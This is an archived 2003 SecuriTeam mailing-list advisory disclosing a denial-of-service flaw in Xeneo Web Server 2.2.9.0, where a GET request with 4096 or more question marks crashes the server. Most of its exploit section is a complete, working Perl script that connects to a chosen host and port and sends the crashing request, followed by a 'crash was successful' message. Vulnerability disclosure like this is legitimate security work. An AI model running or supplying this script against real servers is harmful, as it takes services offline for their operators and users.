[NT] Xeneo Web Server Denial of Service Vulnerability (? Attack)

• Previous message: support@securiteam.com: "[UNIX] Remote Vulnerabilties in mod_ntlm"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

From: support@securiteam.com
To: list@securiteam.com
Date: 22 Apr 2003 10:55:36 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

In the US?

Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!

Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -

  Xeneo Web Server Denial of Service Vulnerability (? Attack)
------------------------------------------------------------------------

SUMMARY

 <http://www.northernsolutions.com/index.php?view=product&id=1> Xeneo Web
Server is "designed to deliver high performance and reliability. It can be
easily extended and customized to host everything from a personal web site
to advanced web applications that use ASP, PHP, ColdFusion, Perl, CGI, and
ISAPI. Key Xeneo Web Server features include: multiple domain support,
integrated Windows authentication, scripting interface, enhanced filter
support, ISAPI, CGI, ASP, SSL, intelligent file caching and more". A
remotely exploitable vulnerability in the product allows a remote attacker
to cause the server to crash.

DETAILS

Vulnerable systems:
 * Xeneo Web Server version 2.2.9.0

Vendor status:
Vendor was notified on 3/18/2003. Sent a few emails but never got any
replies.

Exploit:
To exploit this vulnerability, simply do a GET / with 4096 ?'s or more
will cause the web server to go down, or use the following exploit:

#!/usr/bin/perl
# Xeneo Web Server DoS
#
# Vulnerable systems:
# Xeneo. Web Server 2.2.9.0
# http://www.northernsolutions.com
#
# Written by badpack3t <badpack3t@security-protocols.com>
# For SP Research Labs
# 04/21/2003
#
# www.security-protocols.com
#
# usage:
# perl sp-xeneo.pl <target> <port>
#
# big ups 2: c0nnie!!!! 143~!~!~!

use IO::Socket;
use strict;

print ".:."x 20; print "\nXeneo Web Server 2.2.9.0 DoS,
<badpack3t\@security-protocols.com>\n";
print ".:."x 20; print "\n\n";

if( !defined( $ARGV[ 0 ] && $ARGV[ 1 ]))
{
   &usage;
}

my $host = $ARGV[ 0 ];
my $def = "?";
my $num = "4096";
my $port = $ARGV[ 1 ];
my $urfuqed = $def x $num;

my $tcpval = getprotobyname( 'tcp' );
my $serverIP = inet_aton( $host );
my $serverAddr = sockaddr_in( $ARGV[ 1 ], $serverIP );
my $protocol_name = "tcp";

my $iaddr = inet_aton( $host ) || die ( "host was not found: $host" );
my $paddr = sockaddr_in( $port, $iaddr ) || die ( "you did something wrong
stupid... exiting..." );
my $proto = getprotobyname( 'tcp' ) || die ( "cannot get protocol" );
socket( SOCK, PF_INET, SOCK_STREAM, $proto ) || die ( "socket could not
open: $host" );
connect( SOCK, $paddr ) || die ( "cannot connect to: $host" );

my $submit = "GET /$urfuqed HTTP/1.0\r\n\r\n";
send( SOCK,$submit,0 );
close( SOCK );

sub usage
{
   die( "\n\nUsage: perl $0 <target_host> <port>\n\n" );
}

print "\n.:.:.:.:.:.:.:.:.:.:.:.";
print "\ncrash was successful ~!\n";
print "\.:.:.:.:.:.:.:.:.:.:.:.\n";

ADDITIONAL INFORMATION

The information has been provided by
<mailto:badpack3t@security-protocols.com> badpack3t.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: support@securiteam.com: "[UNIX] Remote Vulnerabilties in mod_ntlm"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]